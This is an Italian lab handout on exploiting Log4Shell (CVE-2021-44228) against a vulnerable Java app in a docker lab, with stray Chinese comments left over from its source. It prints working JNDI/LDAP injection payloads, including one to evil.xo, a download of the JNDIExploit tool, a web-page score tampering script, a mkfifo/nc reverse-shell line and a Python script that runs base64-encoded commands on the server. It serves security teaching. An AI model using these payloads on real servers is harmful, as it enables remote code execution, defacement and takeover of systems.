Demo di Log4Shell CVE-2021-44228
Alla fine del 2021, la notizia più importante nel mondo della sicurezza informatica è stata la vulnerabilità di Log4j, identificata come CVE-2021-44228 e nota anche come Log4Shell. Nel sistema di valutazione delle vulnerabilità CVSS è stata giudicata con 10 punti, il livello più grave, ed è considerata la vulnerabilità più importante degli ultimi anni dopo Heartbleed e ShellShock. C'è persino chi l'ha descritta come una «vulnerabilità di livello bomba nucleare», a testimonianza di quanto profondo sia il suo impatto. Questo progetto analizza CVE-2021-44228 e ne propone un'implementazione pratica in laboratorio.
Un Logfile (file di registro) è un file che registra gli eventi verificatisi in un sistema operativo o in un software in esecuzione, oppure i messaggi inviati tra utenti di software di chat online. Molti sistemi operativi, framework software e programmi includono sistemi di file di registro. Java dispone di un pacchetto di logging molto comodo, chiamato Log4j. Questo pacchetto appartiene alla Apache Software Foundation, quindi il nome completo è Apache Log4j.
Log4j è uno strumento molto comodo, ampiamente utilizzato dai programmi Java. Spesso gli ingegneri del software devono scrivere i dati di un programma in esecuzione in file di registro, oppure in altri database per un uso successivo. Questo è lo scopo di Log4j: può ricevere una stringa da un punto (ad esempio l'ID utente inserito nella schermata di accesso) e scriverla in un altro punto (ad esempio il campo di immissione dati del processo di autenticazione). Oltre alla copia/incolla di base, Log4j può anche esaminare e interpretare il contenuto delle stringhe. E l'interpretazione è un'operazione pericolosa, perché a meno che il programma non ripulisca prima la stringa, è facile che durante l'interpretazione si verifichino problemi. Log4j non ripulisce la stringa prima di interpretarla, quindi un attaccante ha la possibilità di effettuare un attacco di injection.
CVE-2021-44228 è una vulnerabilità grave, perché consente a un attaccante non autenticato di eseguire RCE (Remote Code Execution, esecuzione remota di codice) su un server Java. La vulnerabilità deriva dal modo in cui log4j gestisce i messaggi di log. Se un attaccante invia un messaggio appositamente elaborato (contenente una stringa simile a ${jndi:ldap://rogueldapserver.com/a}), ciò può portare al caricamento di una external code class o a una message lookup e all'esecuzione di quel codice, portando al verificarsi di RCE.

Di seguito è illustrato il flusso di base dell'RCE.
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
Scaricare prima la VM SEED Ubuntu 20.04; questa VM fornisce un ambiente docker già installato. Download
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ docker-compose build # Build the container image
$ docker-compose up # Start the container
$ docker-compose down # Shut down the container
# Aliases for the Compose commands above
$ dcbuild # Alias for: docker-compose build
$ dcup # Alias for: docker-compose up
$ dcdown # Alias for: docker-compose down
$ dockps # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> # Alias for: docker exec -it <id> /bin/bash
# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#
Per semplificare i passaggi, tutti i server si trovano nella stessa LAN

In questo Task l'utente può acquisire familiarità con il funzionamento di log4j. L'utente può usare l'header X-Api-Version per far registrare a log4j un log.
# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: <version-number>'
Se il Server analizza correttamente la request che hai inviato, restituirà un Hello World!
Nel report, annota il risultato restituito dal Server e se il Server ha analizzato correttamente la request e registrato il log.
Nel 2013, il pacchetto Log4j ha aggiunto il «plugin JNDILookup», che consente agli sviluppatori di utilizzare JNDI in combinazione con LDAP per ottenere oggetti di dati Java da altri JNDITutorial esterni.
Successivamente, useremo log4j appena utilizzato in combinazione con JNDIExploit per far eseguire al Server i comandi che vogliamo.
# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'
Crea un file secret.txt nella cartella /tmp e accedi al server per verificare che il file sia stato creato con successo.
Nota-1: <content> non può contenere direttamente il comando, è necessario convertirlo
Nota-2: poichévulnerable-appnon dispone di/bin/bashcome shell utilizzabile, se vuoi verificare il file puoi usare il comando docker
$ docker exec vulnerable-app ls /tmp
Dopo i task precedenti, abbiamo scoperto che vulnerable-app esegue qualsiasi comando base64 dell'attaccante; se l'attaccante vuole compiere operazioni più complesse, può inviare uno script di attacco shell script al server perché lo esegua.
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html
Lo script sopra modifica il punteggio del sito web; il punteggio è memorizzato in index.html. Prima eseguilo con successo e indica le differenze. Successivamente, modifica lo script in modo che il file del punteggio venga cambiato con il numero che desideri.
Nota-1: un altro metodo comodo per modificare i file è
sed
Nota-2: poichévulnerable-appnon consente all'utente di visualizzare /var/www tramite browser, se vuoi verificare il file puoi usare il comando docker
$ docker exec vulnerable-app cat /var/www/index.html
Dopo i task precedenti, siamo già in grado di convertire i comandi che vogliamo eseguire in base64 e farli eseguire al server; per avere il pieno controllo del server, possiamo usare i comandi per creare una reverse shell.
# <> 是使用者需要修改的內容
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>
Per agevolare le operazioni, forniamo uno script Python per condurre l'attacco.
import os
import sys
import base64
import requests
ldap = '###' # user modify
server_ip = '###' # user modify
cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
$ ./script '<command>'
Nota:
vulnerable-appnon dispone di/bin/bashné di/dev/tcp, quindi non è possibile usare il metodo normale della reverse shell; possiamo però creare un file pipe per effettuare letture e scritture su di esso.
$ mkfifo <file-name>